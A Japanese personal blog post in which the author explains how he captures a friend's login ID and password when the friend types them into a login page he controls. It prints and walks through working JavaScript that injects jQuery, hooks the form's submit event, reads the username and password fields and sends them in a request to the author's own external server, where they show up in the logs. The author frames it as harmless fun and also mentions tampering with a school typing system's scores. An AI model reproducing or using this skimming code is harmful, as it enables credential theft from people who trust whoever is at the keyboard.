hagetak's blog

どうも、はげたかです。

今日の一言:カテゴリ分けをしっかりしたらPVあがるかな?

ログイン画面で友人に入力してもらい、ログイン情報を取得する方法

はじめに

先日、後輩の課題を手伝い、それの提出を確認するために、学内課題提出サイトにログインしてもらおうとしていた。しかし、友人はPW・IDを盗まれると疑い、入力してもらえなかった。(その頃は何も仕組んでいなかった。)

それがきっかけで、「普通に取得できるんじゃね?!」って思い、そのプログラムを書くことにした。 本記事は、それのメモである。

コード

// jQuery強制読み込ませ
var s=document.createElement('script');
s.setAttribute('src','//code.jquery.com/jquery-1.11.2.min.js');
document.getElementsByTagName('body')[0].appendChild(s);

$('form').on('submit', function(){
  id = $('#login_username').val()
  pw = $('#login_password').val()
  url = "http://www.plusforyou.info/"
  url = url + id + "/" + pw

    $.ajax({
        type: "POST",
        url: url,
        success: function(msg){
           console.log("success")
        }
    });
})

ログインフォームに情報を入力し、submitすると私が運営しているサイトのURLに

/hagetak/password

って送られる。(実際には、このURLにアクセスして省かれている状態)ログを確認すると、ID/PWを確認することができる。今回は、取得するために自分が運営しているサービスのサーバーを用いた。

Plus for You - 感謝を伝える新しいカタチ

解説

// jQuery強制読み込ませ
var s=document.createElement('script');
s.setAttribute('src','//code.jquery.com/jquery-1.11.2.min.js');
document.getElementsByTagName('body')[0].appendChild(s);

このコードは、次のサイトを参考にし、修正をした。jQueryを強制に読み込ませることができる。

jQueryが読み込まれていないページでもjQueryが使えるjQuerify Bookmarklet - 大人になったら肺呼吸

$('form').on('submit', function(){
  id = $('#login_username').val()
  pw = $('#login_password').val()
  url = "http://www.plusforyou.info/"
  url = url + id + "/" + pw

    $.ajax({
        type: "POST",
        url: url,
        success: function(msg){
           console.log("success")
        }
    });
})

フォームをサブミットした時の処理、該当するid, pw のDOMからデータを取得し、送信したいサイトに情報を追加して飛ばしている。

Ajaxは、普通にurlにPOST(送信)している。データのやり取りではなく、アクセスして、そのログを確認するだけである。

さいごに

こういうちょっとしたイタズラが好きなんだよね〜。学内で使われているタイピング学習システム(webベース)のデータを書き換えて、一瞬で最高得点をとったりとか、そういうのが好き。ただ純粋に遊びで好きなんだ。

今回も書いていて楽しかったし、前回のフィボナッチ数列を考えるのもすごく楽しかった。

参考サイト

JavaScript 第6版

JavaScript 第6版

開眼!  JavaScript ―言語仕様から学ぶJavaScriptの本質

開眼! JavaScript ―言語仕様から学ぶJavaScriptの本質